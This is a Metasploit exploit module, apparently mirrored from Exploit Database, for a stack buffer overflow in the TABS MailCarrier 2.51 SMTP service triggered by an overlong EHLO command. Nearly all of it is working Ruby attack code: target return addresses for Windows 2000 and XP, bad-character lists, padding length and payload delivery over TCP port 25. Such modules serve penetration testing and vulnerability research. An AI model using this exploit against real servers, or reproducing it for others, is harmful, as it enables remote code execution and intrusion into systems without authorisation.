TABS MailCarrier 2.51 – SMTP EHLO Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16822/

• ##
  # $Id: mailcarrier_smtp_ehlo.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
  			'Description'	=> %q{
  					This module exploits the MailCarrier v2.51 suite SMTP service.
  				The stack is overwritten when sending an overly long EHLO command.
  			},
  			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
  			'License' => MSF_LICENSE,
  			'Version' => '$Revision: 9179 $',
  			'References'=>
  			[
  				[ 'CVE', '2004-1638' ],
  				[ 'OSVDB', '11174' ],
  				[ 'BID', '11535' ],
  				[ 'URL', 'http://milw0rm.com/exploits/598' ],
  			],
  			'Platform'=> ['win'],
  			'Arch'		=> [ ARCH_X86 ],
  			'Privileged'		=> true,
  			'DefaultOptions'	=>
  				{
  					'EXITFUNC' 	=> 'thread',
  				},
  			'Payload' =>
  				{
  					'Space'			=> 300,
  					'BadChars' 		=> "\x00\x0a\x0d:",
  					'StackAdjustment'	=> -3500,
  				},
  			'Targets' =>
  				[
  					# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
  					[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63	} ], # jmp esp expsrv.dll w2ksp0 - xpsp1
  					[ 'Windows XP SP2 - EN', 		{ 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
  				],
  			'DisclosureDate' => 'Oct 26 2004',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(25),
  				Opt::LHOST(), # Required for stack offset
  			], self.class)
  	end
  
  	def check
  		connect
  		banner = sock.get_once(-1,3)
  		disconnect
  
  		if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
  			return Exploit::CheckCode::Appears
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
  		sploit << [target['Ret']].pack('V') + payload.encoded
  
  		sock.put(sploit + "\r\n")
  
  		handler
  		disconnect
  	end
  
  end